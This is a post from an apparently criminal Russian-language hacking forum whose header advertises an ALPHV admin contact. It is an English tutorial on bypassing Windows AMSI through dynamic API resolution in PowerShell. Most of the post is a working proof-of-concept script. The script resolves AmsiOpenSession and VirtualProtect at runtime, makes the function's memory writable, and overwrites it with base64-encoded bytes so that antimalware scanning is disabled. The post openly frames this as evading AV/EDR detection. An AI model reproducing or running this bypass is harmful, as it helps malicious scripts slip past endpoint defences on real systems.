• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Bypassing AMSI with Dynamic API Resolution in PowerShell

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.

What is Dynamic API Resolution?​


Для просмотра ссылки Войди или Зарегистрируйся is a technique where Windows API function addresses are resolved at runtime, instead of being imported and declared upfront when the program is compiled or loaded.

In simpler terms — rather than saying:


You say:


This is done using functions like:

  • GetModuleHandle → to get the handle of a DLL (like kernel32.dll or amsi.dll)
  • GetProcAddress → to get the memory address of a specific function (like AmsiOpenSession, VirtualProtect)


Why is Dynamic API Resolution Better than Static Imports?​



Static API ImportDynamic API Resolution
APIs are declared upfront via P/Invoke or linkingAPIs are looked up in-memory at runtime
Imports are visible in the PE header / IATNo API names visible in the executable
Easy for AV/EDR to statically scan and detectHarder to detect with static analysis
Detected via known bad API patternsNo upfront signature to trigger on
Example: DllImport("kernel32.dll")GetModuleHandle("kernel32.dll") → GetProcAddress("VirtualProtect")



Proof of Concept​






Код:
function LookupFunc {

    Param ($moduleName, $functionName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {

    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
      [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

    return $type.CreateType()
}

[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)

$buf = [Byte[]] ([Convert]::FromBase64String("SDHAAw=="))
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)



Для просмотра ссылки Войди или Зарегистрируйся
 
Activity
So far there's no one here
Сверху Снизу